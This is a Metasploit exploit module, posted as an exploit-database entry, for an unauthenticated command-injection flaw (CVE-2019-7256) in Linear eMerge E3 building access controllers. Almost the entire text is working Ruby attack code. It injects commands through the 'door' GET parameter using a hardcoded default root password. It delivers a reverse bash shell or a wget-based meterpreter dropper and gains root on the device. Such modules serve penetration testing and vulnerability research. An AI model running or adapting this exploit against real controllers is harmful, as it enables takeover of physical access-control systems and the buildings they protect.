Linear eMerge E3-Series Access Controller Command Injection

2023.01.05
Credit: h00die-gr3y
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/stopwatch' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Linear eMerge E3-Series Access Controller Command Injection', 'Description' => %q{ This module exploits a command injection vulnerability in the Linear eMerge E3-Series Access Controller. The Linear eMerge E3 versions `1.00-06` and below are vulnerable to unauthenticated command injection in card_scan_decoder.php via the `No` and `door` HTTP GET parameter. Successful exploitation results in command execution as the `root` user. }, 'License' => MSF_LICENSE, 'Author' => [ 'Gjoko Krstic <gjoko[at]applied-risk.com>', # Discovery 'h00die-gr3y <h00die.gr3y[at]gmail.com>' # MSF Module contributor ], 'References' => [ [ 'CVE', '2019-7256'], [ 'URL', 'https://applied-risk.com/resources/ar-2019-005' ], [ 'URL', 'https://na.niceforyou.com/' ], [ 'URL', 'https://attackerkb.com/topics/8WUJkci8N4/cve-2019-7256' ], [ 'EDB', '47649'], [ 'PACKETSTORM', '155256'] ], 'DisclosureDate' => '2019-10-29', 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_ARMLE], 'Privileged' => true, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_ARMLE], 'Type' => :linux_dropper, 'CmdStagerFlavor' => [ 'wget', 'printf', 'echo' ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 80, 'SSL' => false }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options( [ OptString.new('ROOT_PASSWORD', [ true, 'default root password on a vulnerable Linear eMerge E3-Series access controller', 'davestyle']), ] ) end def execute_command(cmd, _opts = {}) random_no = rand(30..100) return send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'card_scan_decoder.php'), 'vars_get' => { 'No' => random_no, 'door' => "`echo #{datastore['ROOT_PASSWORD']}|su -c \"#{cmd}\"`" } }) rescue StandardError => e elog("#{peer} - Communication error occurred: #{e.message}", error: e) fail_with(Failure::Unknown, "Communication error occurred: #{e.message}") end # Checking if the target is vulnerable by executing a randomized sleep to test the remote code execution def check print_status("Checking if #{peer} can be exploited.") sleep_time = rand(2..10) print_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.") res, elapsed_time = Rex::Stopwatch.elapsed_time do execute_command("sleep #{sleep_time}") end return CheckCode::Unknown('No response received from the target!') unless res return CheckCode::Safe('Target is not affected by this vulnerability.') unless res.code == 200 && !res.body.blank? && res.body =~ /"card_format_default":"/ print_status("Elapsed time: #{elapsed_time.round(2)} seconds.") return CheckCode::Safe('Command injection test failed.') unless elapsed_time >= sleep_time CheckCode::Vulnerable('Successfully tested command injection.') end def exploit case target['Type'] when :unix_cmd print_status("Executing #{target.name} with #{payload.encoded}") # Don't check the response here since the server won't respond # if the payload is successfully executed. execute_command(payload.encoded) when :linux_dropper print_status("Executing #{target.name}") execute_cmdstager(linemax: 262144) end end end


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